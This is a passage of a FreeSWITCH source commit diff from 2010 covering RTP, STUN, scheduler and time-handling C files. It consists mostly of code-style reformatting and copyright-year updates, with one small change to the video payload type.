if (rtp_session->dtmf_data.last_duration > duration && rtp_session->dtmf_data.last_duration > 0xFC17 && ts == rtp_session->dtmf_data.in_digit_ts) {
rtp_session->dtmf_data.flip++;
}
-
+
if (end) {
if (rtp_session->dtmf_data.in_digit_ts) {
switch_dtmf_t dtmf = { key, duration };
@@ -2272,9 +2271,8 @@
printf("you're welcome!\n");
#endif
}
-
#ifdef DEBUG_2833
- printf("done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n",
+ printf("done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n",
dtmf.digit, ts, rtp_session->dtmf_data.in_digit_ts, duration, dtmf.duration);
#endif
switch_rtp_queue_rfc2833_in(rtp_session, &dtmf);
@@ -2300,14 +2298,14 @@
rtp_session->dtmf_data.last_duration = duration;
} else {
#ifdef DEBUG_2833
- printf("drop: %c %u %u %u %u %d %d\n",
+ printf("drop: %c %u %u %u %u %d %d\n",
key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq, ts, duration, rtp_session->recv_msg.header.m, end);
#endif
switch_cond_next();
goto recvfrom;
}
}
-
+
if (rtp_session->dtmf_data.in_digit_ts) {
if (!switch_rtp_ready(rtp_session)) {
goto end;
@@ -2315,12 +2313,12 @@
return_cng_frame();
}
- timer_check:
+ timer_check:
if (do_cng) {
uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
int fdr;
-
+
if ((poll_status = switch_poll(rtp_session->read_pollfd, 1, &fdr, 0)) == SWITCH_STATUS_SUCCESS) {
goto recvfrom;
}
@@ -2341,7 +2339,7 @@
switch_cond_next();
continue;
}
-
+
return_cng_frame();
}
}
@@ -2363,7 +2361,7 @@
break;
do_continue:
-
+
if (!bytes && !rtp_session->timer.interval) {
switch_yield(sleep_mss);
}
@@ -2530,14 +2528,14 @@
#ifdef ENABLE_ZRTP
if (zrtp_on && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV)) {
zrtp_session_info_t zrtp_session_info;
-
- if (rtp_session->zrtp_session && (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info))) {
- if (zrtp_session_info.sas_is_ready) {
+
+ if (rtp_session->zrtp_session && (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info))) {
+ if (zrtp_session_info.sas_is_ready) {
switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
- if (uuid) {
+ if (uuid) {
switch_core_session_t *other_session;
if ((other_session = switch_core_session_locate(uuid))) {
@@ -2556,13 +2554,13 @@
switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
- zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
- &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+ zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
+ &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
rtp_session->zrtp_mitm_tries++;
}
}
}
-
+
switch_core_session_rwunlock(other_session);
}
}
@@ -2572,7 +2570,6 @@
switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
}
}
-
#endif
if (bytes < 0) {
@@ -2649,7 +2646,7 @@
rtp_session->ts = (uint32_t) timestamp;
} else if (rtp_session->timer.timer_interface) {
rtp_session->ts = rtp_session->timer.samplecount;
-
+
if (rtp_session->ts <= rtp_session->last_write_ts) {
rtp_session->ts = rtp_session->last_write_ts + rtp_session->samples_per_interval;
}
@@ -2665,13 +2662,12 @@
m++;
}
- if (rtp_session->timer.interval &&
- (rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 10) {
+ if (rtp_session->timer.interval && (rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 10) {
m++;
}
- if (!rtp_session->timer.interval &&
- ((unsigned)((switch_micro_time_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet * 10)) {
+ if (!rtp_session->timer.interval &&
+ ((unsigned) ((switch_micro_time_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet * 10)) {
m++;
}
@@ -2831,9 +2827,9 @@
if (1) {
unsigned int sbytes = (int) bytes;
zrtp_status_t stat = zrtp_status_fail;
-
- stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void*)send_msg, &sbytes);
+ stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void *) send_msg, &sbytes);
+
switch (stat) {
case zrtp_status_ok:
break;
@@ -2848,7 +2844,7 @@
default:
break;
}
-
+
bytes = sbytes;
}
#endif
@@ -2857,7 +2853,7 @@
{
switch_time_t now = switch_time_now();
int delta = (int) (now - rtp_session->send_time) / 1000;
- printf("WRITE %d delta %d\n", (int)bytes, delta);
+ printf("WRITE %d delta %d\n", (int) bytes, delta);
rtp_session->send_time = now;
}
#endif
@@ -2875,21 +2871,21 @@
const char *my_host;
char bufa[30], bufb[30], bufc[30];
-
-
+
+
tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session->local_addr);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
- "W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
+ "W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
switch_channel_get_name(switch_core_session_get_channel(session)),
- (long)bytes,
+ (long) bytes,
my_host, switch_sockaddr_get_port(rtp_session->local_addr),
- old_host, rtp_session->remote_port,
+ old_host, rtp_session->remote_port,
tx_host, switch_sockaddr_get_port(rtp_session->from_addr),
send_msg->header.pt, ntohl(send_msg->header.ts), send_msg->header.m);
-
+
}
}
@@ -3004,11 +3000,11 @@
uint32_t len, ts = 0;
switch_payload_t payload = 0;
rtp_msg_t *send_msg = NULL;
-
+
if (!switch_rtp_ready(rtp_session) || !rtp_session->remote_addr) {
return -1;
}
-
+
if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
switch_size_t bytes;
char bufa[30];
@@ -3019,8 +3015,8 @@
}
bytes = frame->packetlen;
tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->remote_addr);
-
+
send_msg = frame->packet;
if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
@@ -3030,26 +3026,25 @@
if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, frame->packet, &bytes) != SWITCH_STATUS_SUCCESS) {
return -1;
}
-
+
rtp_session->stats.outbound.raw_bytes += bytes;
rtp_session->stats.outbound.media_bytes += bytes;
rtp_session->stats.outbound.media_packet_count++;
rtp_session->stats.outbound.packet_count++;
return (int) bytes;
}
-
#ifdef ENABLE_ZRTP
if (zrtp_on && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND)) {
zrtp_session_info_t zrtp_session_info;
- if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
- if (zrtp_session_info.sas_is_ready) {
+ if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+ if (zrtp_session_info.sas_is_ready) {
switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
- if (uuid) {
+ if (uuid) {
switch_core_session_t *other_session;
if ((other_session = switch_core_session_locate(uuid))) {
@@ -3069,8 +3064,8 @@
switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
- zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
- &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+ zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
+ &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
rtp_session->zrtp_mitm_tries++;
}
rtp_session->zrtp_mitm_tries++;
@@ -3093,14 +3088,14 @@
if (rtp_session->cng_pt) {
payload = rtp_session->cng_pt;
} else {
- return (int)frame->packetlen;
+ return (int) frame->packetlen;
}
} else {
payload = rtp_session->payload;
}
if (switch_test_flag(frame, SFF_RTP_HEADER)) {
- switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame->data, frame->datalen,
+ switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame->data, frame->datalen,
frame->m, frame->payload, (uint32_t) (frame->timestamp), &frame->flags);
rtp_session->stats.outbound.raw_bytes += wrote;
@@ -3122,6 +3117,10 @@
ts = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_RAW_WRITE) ? (uint32_t) frame->timestamp : 0;
}
+ if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
+ send_msg->header.pt = rtp_session->payload;
+ }
+
return rtp_common_write(rtp_session, send_msg, data, len, payload, ts, &frame->flags);
}
@@ -3188,9 +3187,9 @@
if (1) {
unsigned int sbytes = (int) bytes;
zrtp_status_t stat = zrtp_status_fail;
-
- stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void*)&rtp_session->write_msg, &sbytes);
-
+
+ stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void *) &rtp_session->write_msg, &sbytes);
+
switch (stat) {
case zrtp_status_ok:
break;
@@ -3205,10 +3204,11 @@
default:
break;
}
-
+
bytes = sbytes;
}
#endif
+
if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, (void *) &rtp_session->write_msg, &bytes) != SWITCH_STATUS_SUCCESS) {
rtp_session->seq--;
ret = -1;
Modified: freeswitch/trunk/src/switch_scheduler.c (16578 => 16579)
--- freeswitch/trunk/src/switch_scheduler.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_scheduler.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -308,7 +308,7 @@
switch_status_t st;
globals.task_thread_running = -1;
-
+
switch_thread_join(&st, task_thread_p);
while (globals.task_thread_running) {
Modified: freeswitch/trunk/src/switch_stun.c (16578 => 16579)
--- freeswitch/trunk/src/switch_stun.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_stun.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -343,7 +343,7 @@
char *p = ipstr;
ip = (switch_stun_ip_t *) attribute->value;
- i = (uint8_t *) &ip->address;
+ i = (uint8_t *) & ip->address;
*ipstr = 0;
for (x = 0; x < 4; x++) {
sprintf(p, "%u%s", i[x], x == 3 ? "" : ".");
@@ -386,14 +386,14 @@
uint8_t *i, x;
char *p = ipstr;
- attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &packet->first_attribute + ntohs(packet->header.length));
+ attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) & packet->first_attribute + ntohs(packet->header.length));
attribute->type = htons(SWITCH_STUN_ATTR_MAPPED_ADDRESS);
attribute->length = htons(8);
ip = (switch_stun_ip_t *) attribute->value;
ip->port = htons(port);
ip->family = 1;
- i = (uint8_t *) &ip->address;
+ i = (uint8_t *) & ip->address;
for (x = 0; x < 4; x++) {
i[x] = (uint8_t) atoi(p);
@@ -415,7 +415,7 @@
if (ulen % 4 != 0) {
return 0;
}
- attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &packet->first_attribute + ntohs(packet->header.length));
+ attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) & packet->first_attribute + ntohs(packet->header.length));
attribute->type = htons(SWITCH_STUN_ATTR_USERNAME);
attribute->length = htons(ulen);
if (username) {
@@ -432,10 +432,10 @@
{
switch_sockaddr_t *addr = NULL;
char buf[30];
-
+
switch_sockaddr_info_get(&addr, host, SWITCH_UNSPEC, 0, 0, pool);
return switch_core_strdup(pool, switch_str_nil(switch_get_addr(buf, sizeof(buf), addr)));
-
+
}
SWITCH_DECLARE(switch_status_t) switch_stun_lookup(char **ip,
@@ -508,7 +508,7 @@
buf[bytes++] = 0;
buf[bytes++] = 0;
}
-
+
switch_socket_sendto(sock, remote_addr, 0, (void *) packet, &bytes);
started = switch_micro_time_now();
@@ -549,7 +549,7 @@
case SWITCH_STUN_ATTR_MAPPED_ADDRESS:
if (attr->type) {
if (funny) {
- switch_stun_ip_t *tmp = (switch_stun_ip_t *)attr->value;
+ switch_stun_ip_t *tmp = (switch_stun_ip_t *) attr->value;
tmp->address ^= ntohl(0xabcdabcd);
}
switch_stun_packet_attribute_get_mapped_address(attr, rip, &rport);
Modified: freeswitch/trunk/src/switch_swig.c (16578 => 16579)
--- freeswitch/trunk/src/switch_swig.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_swig.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_time.c (16578 => 16579)
--- freeswitch/trunk/src/switch_time.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_time.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -54,7 +54,7 @@
static int MONO = 0;
#endif
-#if defined(HAVE_CLOCK_NANOSLEEP)
+#if defined(HAVE_CLOCK_NANOSLEEP)
static int NANO = 1;
#else
static int NANO = 0;
@@ -139,7 +139,7 @@
return;
}
#endif
-
+
#if defined(HAVE_CLOCK_NANOSLEEP)
t -= OFFSET;
ts.tv_sec = t / 1000000;
@@ -155,7 +155,7 @@
#endif
#if defined(DARWIN)
-sched_yield();
+ sched_yield();
#endif
}
@@ -165,7 +165,7 @@
int x = 0;
switch_time_t start, stop, sum = 0;
- for(x = 0; x < reps; x++) {
+ for (x = 0; x < reps; x++) {
start = switch_time_now();
do_sleep(t);
stop = switch_time_now();
@@ -173,7 +173,7 @@
}
return sum / reps;
-
+
}
#define calc_step() if (step > 11) step -= 10; else if (step > 1) step--
@@ -196,29 +196,29 @@
}
#endif
- top:
+ top:
val = 1000;
step = 50;
over = under = good = 0;
OFFSET = 0;
-
+
for (x = 0; x < 100; x++) {
avg = average_time(val, 50);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Test: %ld Average: %ld Step: %d\n", (long)val, (long)avg, step);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Test: %ld Average: %ld Step: %d\n", (long) val, (long) avg, step);
- diff = abs((int)(want - avg));
+ diff = abs((int) (want - avg));
if (diff > 1500) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"Abnormally large timer gap %d detected!\n"
"Do you have your kernel timer set to higher than 1 kHz? You may experience audio problems.\n", diff);
do_sleep(5000000);
switch_time_set_cond_yield(SWITCH_TRUE);
return;
}
-
+
if (diff <= 100) {
lastgood = (int) val;
- }
+ }
if (diff <= 2) {
under = over = 0;
@@ -227,19 +227,25 @@
break;
}
} else if (avg > want) {
- if (under) {calc_step();}
+ if (under) {
+ calc_step();
+ }
under = good = 0;
if ((val - step) < 0) {
- if (++retry > 2) break;
+ if (++retry > 2)
+ break;
goto top;
}
val -= step;
over++;
} else if (avg < want) {
- if (over) {calc_step();}
+ if (over) {
+ calc_step();
+ }
over = good = 0;
if ((val - step) < 0) {
- if (++retry > 2) break;
+ if (++retry > 2)
+ break;
goto top;
}
val += step;
@@ -248,10 +254,10 @@
}
if (good >= 10) {
- OFFSET = (int)(want - val);
+ OFFSET = (int) (want - val);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Timer offset of %d calculated\n", OFFSET);
} else if (lastgood) {
- OFFSET = (int)(want - lastgood);
+ OFFSET = (int) (want - lastgood);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Timer offset of %d calculated (fallback)\n", OFFSET);
switch_time_set_cond_yield(SWITCH_TRUE);
} else {
@@ -291,7 +297,7 @@
SWITCH_DECLARE(void) switch_time_set_nanosleep(switch_bool_t enable)
{
-#if defined(HAVE_CLOCK_NANOSLEEP)
+#if defined(HAVE_CLOCK_NANOSLEEP)
NANO = enable ? 1 : 0;
#endif
}
@@ -344,13 +350,12 @@
do_sleep(t);
return;
}
-
#ifndef DISABLE_1MS_COND
if (globals.use_cond_yield == 1) {
switch_cond_yield(t);
return;
}
-#endif
+#endif
do_sleep(t);
}
@@ -362,7 +367,6 @@
os_yield();
return;
}
-
#ifdef DISABLE_1MS_COND
do_sleep(1000);
#else
@@ -379,14 +383,15 @@
SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t)
{
switch_time_t want;
- if (!t) return;
+ if (!t)
+ return;
if (globals.RUNNING != 1 || !runtime.timestamp || globals.use_cond_yield != 1) {
do_sleep(t);
return;
}
want = runtime.timestamp + t;
- while(globals.RUNNING == 1 && globals.use_cond_yield == 1 && runtime.timestamp < want) {
+ while (globals.RUNNING == 1 && globals.use_cond_yield == 1 && runtime.timestamp < want) {
switch_mutex_lock(TIMER_MATRIX[1].mutex);
if (runtime.timestamp < want) {
switch_thread_cond_wait(TIMER_MATRIX[1].cond, TIMER_MATRIX[1].mutex);
@@ -499,10 +504,10 @@
#else
int cond_index = 1;
#endif
- int delta = (int)(private_info->reference - TIMER_MATRIX[timer->interval].tick);
+ int delta = (int) (private_info->reference - TIMER_MATRIX[timer->interval].tick);
/* sync up timer if it's not been called for a while otherwise it will return instantly several times until it catches up */
- if (delta < -1) {
+ if (delta < -1) {
private_info->reference = timer->tick = TIMER_MATRIX[timer->interval].tick;
}
timer_step(timer);
@@ -514,14 +519,14 @@
while (globals.RUNNING == 1 && private_info->ready && TIMER_MATRIX[timer->interval].tick < private_info->reference) {
check_roll();
-
+
if (session_manager.session_count > runtime.tipping_point) {
os_yield();
} else {
if (globals.use_cond_yield == 1) {
switch_mutex_lock(TIMER_MATRIX[cond_index].mutex);
if (TIMER_MATRIX[timer->interval].tick < private_info->reference) {
- switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);
+ switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);
}
switch_mutex_unlock(TIMER_MATRIX[cond_index].mutex);
} else {
@@ -530,7 +535,7 @@
}
}
- end:
+ end:
return globals.RUNNING == 1 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
}
@@ -633,10 +638,10 @@
switch_time_sync();
-
+
globals.use_cond_yield = COND;
globals.RUNNING = 1;
-
+
while (globals.RUNNING == 1) {
runtime.reference += STEP_MIC;
while ((ts = time_now(runtime.offset)) < runtime.reference) {
@@ -705,7 +710,6 @@
switch_mutex_unlock(runtime.throttle_mutex);
tick = 0;
}
-
#ifndef DISABLE_1MS_COND
TIMER_MATRIX[1].tick++;
if (switch_mutex_trylock(TIMER_MATRIX[1].mutex) == SWITCH_STATUS_SUCCESS) {
@@ -725,12 +729,11 @@
if (TIMER_MATRIX[x].count) {
TIMER_MATRIX[x].tick++;
#ifdef DISABLE_1MS_COND
-
+
if (TIMER_MATRIX[x].mutex && switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
switch_mutex_unlock(TIMER_MATRIX[x].mutex);
}
-
#endif
if (TIMER_MATRIX[x].tick == MAX_TICK) {
TIMER_MATRIX[x].tick = 0;
@@ -747,7 +750,7 @@
}
globals.use_cond_yield = 0;
-
+
for (x = MS_PER_TICK; x <= MAX_ELEMENTS; x += MS_PER_TICK) {
if (TIMER_MATRIX[x].mutex && switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
@@ -771,26 +774,26 @@
and use switch_* functions for the output.
*/
-static void tm2switchtime(struct tm * tm, switch_time_exp_t *xt )
+static void tm2switchtime(struct tm *tm, switch_time_exp_t *xt)
{
if (!xt || !tm) {
- return;
+ return;
}
- memset( xt, 0, sizeof(xt) );
+ memset(xt, 0, sizeof(xt));
- xt->tm_sec = tm->tm_sec;
- xt->tm_min = tm->tm_min;
- xt->tm_hour = tm->tm_hour;
- xt->tm_mday = tm->tm_mday;
- xt->tm_mon = tm->tm_mon;
- xt->tm_year = tm->tm_year;
- xt->tm_wday = tm->tm_wday;
- xt->tm_yday = tm->tm_yday;
- xt->tm_isdst = tm->tm_isdst;
+ xt->tm_sec = tm->tm_sec;
+ xt->tm_min = tm->tm_min;
+ xt->tm_hour = tm->tm_hour;
+ xt->tm_mday = tm->tm_mday;
+ xt->tm_mon = tm->tm_mon;
+ xt->tm_year = tm->tm_year;
+ xt->tm_wday = tm->tm_wday;
+ xt->tm_yday = tm->tm_yday;
+ xt->tm_isdst = tm->tm_isdst;
#if defined(HAVE_STRUCT_TM_TM_GMTOFF)
- xt->tm_gmtoff = tm->tm_gmtoff;
+ xt->tm_gmtoff = tm->tm_gmtoff;
#endif
return;
@@ -808,14 +811,14 @@
static switch_timezones_list_t TIMEZONES_LIST = { 0 };
static switch_event_node_t *NODE = NULL;
-const char *switch_lookup_timezone( const char *tz_name )
+const char *switch_lookup_timezone(const char *tz_name)
{
char *value = NULL;
- if ( tz_name && (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name))==NULL ) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Timezone '%s' not found!\n", tz_name);
+ if (tz_name && (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name)) == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Timezone '%s' not found!\n", tz_name);
}
-
+
return value;
}
@@ -840,7 +843,7 @@
if ((x_lists = switch_xml_child(cfg, "timezones"))) {
for (x_list = switch_xml_child(x_lists, "zone"); x_list; x_list = x_list->next) {
const char *name = switch_xml_attr(x_list, "name");
- const char *value= switch_xml_attr(x_list, "value");
+ const char *value = switch_xml_attr(x_list, "value");
if (zstr(name)) {
continue;
@@ -850,16 +853,14 @@
continue;
}
- switch_core_hash_insert(TIMEZONES_LIST.hash,
- name,
- switch_core_strdup(TIMEZONES_LIST.pool, value) );
+ switch_core_hash_insert(TIMEZONES_LIST.hash, name, switch_core_strdup(TIMEZONES_LIST.pool, value));
total++;
}
}
-
+
switch_xml_free(xml);
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Timezone %sloaded %d definitions\n", reload ? "re" : "", total);
}
@@ -870,7 +871,7 @@
switch_mutex_unlock(globals.mutex);
}
-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp );
+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp);
SWITCH_DECLARE(switch_status_t) switch_time_exp_tz_name(const char *tz, switch_time_exp_t *tm, switch_time_t thetime)
{
@@ -878,24 +879,24 @@
const char *tz_name = tz;
const char *tzdef;
time_t timep;
-
+
if (!thetime) {
thetime = switch_micro_time_now();
}
- timep = (thetime) / (int64_t) (1000000);
+ timep = (thetime) / (int64_t) (1000000);
if (!zstr(tz_name)) {
- tzdef = switch_lookup_timezone( tz_name );
+ tzdef = switch_lookup_timezone(tz_name);
} else {
/* We set the default timezone to GMT. */
- tz_name="GMT";
- tzdef="GMT";
+ tz_name = "GMT";
+ tzdef = "GMT";
}
-
- if (tzdef) { /* The lookup of the zone may fail. */
- tztime( &timep, tzdef, &xtm );
- tm2switchtime( &xtm, tm);
+
+ if (tzdef) { /* The lookup of the zone may fail. */
+ tztime(&timep, tzdef, &xtm);
+ tm2switchtime(&xtm, tm);
return SWITCH_STATUS_SUCCESS;
}
@@ -919,19 +920,19 @@
thetime = switch_micro_time_now();
}
- timep = (thetime) / (int64_t) (1000000);
+ timep = (thetime) / (int64_t) (1000000);
if (!zstr(tz_name)) {
- tzdef = switch_lookup_timezone( tz_name );
+ tzdef = switch_lookup_timezone(tz_name);
} else {
/* We set the default timezone to GMT. */
- tz_name="GMT";
- tzdef="GMT";
+ tz_name = "GMT";
+ tzdef = "GMT";
}
-
- if (tzdef) { /* The lookup of the zone may fail. */
- tztime( &timep, tzdef, &tm );
- tm2switchtime( &tm, &stm );
+
+ if (tzdef) { /* The lookup of the zone may fail. */
+ tztime(&timep, tzdef, &tm);
+ tm2switchtime(&tm, &stm);
switch_strftime_nocheck(date, &retsize, len, zstr(format) ? "%Y-%m-%d %T" : format, &stm);
if (!zstr_buf(date)) {
return SWITCH_STATUS_SUCCESS;
@@ -948,7 +949,7 @@
#if defined(WIN32)
timeBeginPeriod(1);
#endif
-
+
memset(&globals, 0, sizeof(globals));
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, module_pool);
@@ -971,7 +972,7 @@
if (!switch_test_flag((&runtime), SCF_USE_CLOCK_RT)) {
switch_time_set_nanosleep(SWITCH_FALSE);
}
-
+
if (switch_test_flag((&runtime), SCF_USE_COND_TIMING)) {
switch_time_set_cond_yield(SWITCH_TRUE);
}
@@ -1062,7 +1063,7 @@
#ifndef TZ_MAX_TYPES
#ifndef NOSOLAR
-#define TZ_MAX_TYPES 256 /* Limited by what (unsigned char)'s can hold */
+#define TZ_MAX_TYPES 256 /* Limited by what (unsigned char)'s can hold */
#endif /* !defined NOSOLAR */
#ifdef NOSOLAR
@@ -1070,18 +1071,18 @@
** Must be at least 14 for Europe/Riga as of Jan 12 1995,
** as noted by Earl Chew <earl@hpato.aus.hp.com>.
*/
-#define TZ_MAX_TYPES 20 /* Maximum number of local time types */
+#define TZ_MAX_TYPES 20 /* Maximum number of local time types */
#endif /* !defined NOSOLAR */
#endif /* !defined TZ_MAX_TYPES */
#ifndef TZ_MAX_CHARS
-#define TZ_MAX_CHARS 50 /* Maximum number of abbreviation characters */
+#define TZ_MAX_CHARS 50 /* Maximum number of abbreviation characters */
/* (limited by what unsigned chars can hold) */
#endif /* !defined TZ_MAX_CHARS */
#ifndef TZ_MAX_LEAPS
-#define TZ_MAX_LEAPS 50 /* Maximum number of leap second corrections */
+#define TZ_MAX_LEAPS 50 /* Maximum number of leap second corrections */
#endif /* !defined TZ_MAX_LEAPS */
#ifdef TZNAME_MAX
@@ -1103,8 +1104,8 @@
#define SECSPERDAY ((long) SECSPERHOUR * HOURSPERDAY)
#define MONSPERYEAR 12
-#define JULIAN_DAY 0 /* Jn - Julian day */
-#define DAY_OF_YEAR 1 /* n - day of year */
+#define JULIAN_DAY 0 /* Jn - Julian day */
+#define DAY_OF_YEAR 1 /* n - day of year */
#define MONTH_NTH_DAY_OF_WEEK 2 /* Mm.n.d - month, week, day of week */
#define EPOCH_YEAR 1970
@@ -1204,51 +1205,51 @@
************************************************************************** */
-static const char gmt[] = "GMT";
+static const char gmt[] = "GMT";
#define CHARS_DEF BIGGEST(BIGGEST(TZ_MAX_CHARS + 1, sizeof gmt), (2 * (MY_TZNAME_MAX + 1)))
struct rule {
- int r_type; /* type of rule--see below */
- int r_day; /* day number of rule */
- int r_week; /* week number of rule */
- int r_mon; /* month number of rule */
- long r_time; /* transition time of rule */
+ int r_type; /* type of rule--see below */
+ int r_day; /* day number of rule */
+ int r_week; /* week number of rule */
+ int r_mon; /* month number of rule */
+ long r_time; /* transition time of rule */
};
-struct ttinfo { /* time type information */
- long tt_gmtoff; /* UTC offset in seconds */
- int tt_isdst; /* used to set tm_isdst */
- int tt_abbrind; /* abbreviation list index */
- int tt_ttisstd; /* TRUE if transition is std time */
- int tt_ttisgmt; /* TRUE if transition is UTC */
+struct ttinfo { /* time type information */
+ long tt_gmtoff; /* UTC offset in seconds */
+ int tt_isdst; /* used to set tm_isdst */
+ int tt_abbrind; /* abbreviation list index */
+ int tt_ttisstd; /* TRUE if transition is std time */
+ int tt_ttisgmt; /* TRUE if transition is UTC */
};
-struct lsinfo { /* leap second information */
